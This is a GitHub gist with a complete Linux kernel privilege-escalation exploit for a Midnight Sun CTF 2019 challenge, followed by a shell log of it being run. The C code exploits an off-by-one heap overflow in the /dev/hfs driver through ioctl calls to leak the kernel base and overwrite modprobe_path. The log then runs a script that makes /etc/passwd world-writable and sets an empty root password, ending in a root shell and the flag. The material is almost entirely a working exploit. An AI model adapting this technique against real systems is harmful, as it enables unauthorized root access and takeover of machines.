Created
April 6, 2019 16:43
-
-
Save hama7230/9c0f5f06a042f13cbb7361410861f343 to your computer and use it in GitHub Desktop.
Midnight Sun CTF 2019 Quals Hfsipc
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// gcc -static -nostdlib -masm=intel ./exp.c -o exp | |
#define BUFSIZE 32 | |
#define O_RDWR 00000002 | |
int fd; | |
unsigned long kernel_base; | |
unsigned long fake_chunk[BUFSIZE/8]; | |
int read(int fd, char* buf, int len) { | |
__asm__("mov rax, 0"); | |
__asm__("syscall"); | |
} | |
int write(int fd, char* buf, int len) { | |
__asm__("mov rax, 1"); | |
__asm__("syscall"); | |
} | |
int open(char* filename, int flags) { | |
__asm__("mov rax, 2"); | |
__asm__("syscall"); | |
} | |
int close(int fd) { | |
__asm__("mov rax, 2"); | |
__asm__("syscall"); | |
} | |
void exit(int status) { | |
__asm__("mov rax, 60"); | |
__asm__("syscall"); | |
} | |
int ioctl(unsigned int fd, unsigned int cmd, unsigned long* arg) { | |
__asm__("mov rax, 16"); | |
__asm__("syscall"); | |
} | |
int strlen(char* string) { | |
int len = 0; | |
for (; *(string++) != '\x00'; len++) {} | |
return len; | |
} | |
void puts(char* string) { | |
int len = strlen(string); | |
write(1, string, len); | |
} | |
void memset(char* a, char b, int len) { | |
int i; | |
for (i=0; i<len; i++) { | |
a[i] = b; | |
} | |
} | |
long ipc_create(long key, long size) { | |
long buf[2]; | |
buf[0] = key; | |
buf[1] = size; | |
if (ioctl(fd, 0xABCD0001, buf) < 0) { | |
puts("failed ipc_create"); | |
exit(3); | |
} | |
return 0; | |
} | |
long ipc_read(long key, char* ptr, long size) { | |
long buf[3]; | |
int result; | |
buf[0] = key; | |
buf[1] = size; | |
buf[2] = (long)ptr; | |
if ((result = ioctl(fd, 0xABCD0003, buf)) < 0) { | |
puts("failed ipc_read"); | |
// printf("%d\n", result); | |
exit(3); | |
} | |
return 0; | |
} | |
long ipc_delete(long key) { | |
long buf[2]; | |
int result; | |
buf[0] = key; | |
if ((result = ioctl(fd, 0xABCD0002, buf)) < 0) { | |
puts("failed ipc_delete"); | |
// printf("%d\n", result); | |
exit(3); | |
} | |
return 0; | |
} | |
long ipc_write(long key, char* ptr, long size) { | |
long buf[3]; | |
int result; | |
buf[0] = key; | |
buf[1] = size; | |
buf[2] = (long)ptr; | |
if ((result = ioctl(fd, 0xABCD0004, buf)) < 0) { | |
puts("failed ipc_write"); | |
// printf("%d\n", result); | |
exit(3); | |
} | |
return 0; | |
} | |
void _start(void) { | |
puts("open /dev/hfs"); | |
fd = open("/dev/hfs", O_RDWR); | |
if (fd < 0) | |
exit(2); | |
puts("trying leak kernel address"); | |
unsigned long buf[BUFSIZE/0x8 + 1]; | |
for (int i=0xdead; i<0xdead+0x180; i++) { | |
ipc_create(i, BUFSIZE); | |
} | |
memset((char*)buf, 'A', BUFSIZE); ipc_write(0xdead+0x180-0x10, (char*)buf, BUFSIZE); | |
memset((char*)buf, 'A', BUFSIZE); ipc_write(0xdead+0x180-0xf, (char*)buf, BUFSIZE); | |
memset((char*)buf, 'A', BUFSIZE); ipc_write(0xdead+0x180-0xe, (char*)buf, BUFSIZE); | |
memset((char*)buf, 'A', BUFSIZE); ipc_write(0xdead+0x180-0xd, (char*)buf, BUFSIZE); | |
buf[2] = (unsigned long)&fake_chunk; | |
ipc_write(0xdead+0x180-0xe, (char*)buf, BUFSIZE); | |
memset(buf, '\xa0', BUFSIZE+1); | |
ipc_delete(0xdead+0x180-0xe); | |
ipc_delete(0xdead+0x180-0xf); | |
ipc_write(0xdead+0x180-0x10, buf, BUFSIZE+1); | |
for (int i=0; i<0x100; i++) | |
ipc_create(i, 0x100); | |
long key = fake_chunk[0]; | |
// printf("heap_addr = 0x%lx\n", fake_chunk[1]); | |
fake_chunk[2]= 0x1000; | |
unsigned long tmp[0x1000/8]; | |
ipc_read(key, (char*)tmp, 0x1000); | |
for (int i=0; i<0x1000/8; i++) { | |
if (tmp[i] > 0xffffffff81000000) { | |
// 0xffffffff818151c0 | |
if (0x1c0 == (tmp[i]&0xfff)) { | |
kernel_base = tmp[i] - 0x8151c0; | |
break; | |
} | |
// 0xffffffff810ba1d0 | |
if (0x1d0 == (tmp[i]&0xfff)) { | |
kernel_base = tmp[i] - 0xba1d0; | |
break; | |
} | |
} | |
} | |
// printf("kernel_base = 0x%lx\n", kernel_base); | |
fake_chunk[1] = kernel_base + 0xa3f7a0; | |
fake_chunk[2] = 0x20; | |
puts("trigger"); | |
ipc_write(key, "/home/user/a", 0x20); | |
while (1) {}; | |
close(fd); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
user@hfs:~$ base64 -d a | gzip -d > exp && chmod +x exp | |
base64 -d a | gzip -d > exp && chmod +x exp | |
user@hfs:~$ ./exp & | |
./exp & | |
user@hfs:~$ open /dev/hfstrying leak kernel addresstrigger | |
user@hfs:~$ cat /proc/sys/kernel/modprobe | |
cat /proc/sys/kernel/modprobe | |
/home/user/a | |
user@hfs:~$ echo -ne '\xff\xff\xff\xff' > /home/user/hoge && chmod +x /home/user/hoge | |
echo -ne '\xff\xff\xff\xff' > /home/user/hoge && chmod +x /h | |
ome/user/hoge | |
user@hfs:~$ echo -ne "#!/bin/sh\n/bin/chmod -R 4777 /etc/passwd /bin/busybox\necho 'root::0:0:root:/root:/bin/sh' > /etc/passwd\n" > /home/user/a && chmod +x /home/user/a | |
echo -ne "#!/bin/sh\n/bin/chmod -R 4777 /etc/passwd /bin/bus | |
ybox\necho 'root::0:0:root:/root:/bin/sh' > /etc/passwd\n" > /home/user/a && chm | |
od +x /home/user/a | |
user@hfs:~$ /home/user/hoge | |
/home/user/hoge | |
/home/user/hoge: line 1: : not found | |
user@hfs:/home/user$ su root | |
su root | |
root@hfs:/home/user$ id | |
id | |
uid=0(root) gid=0(root) groups=0(root) | |
root@hfs:/home/user$ cat /root/flag | |
cat /root/flag | |
midnight{0fF_bY_0n} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment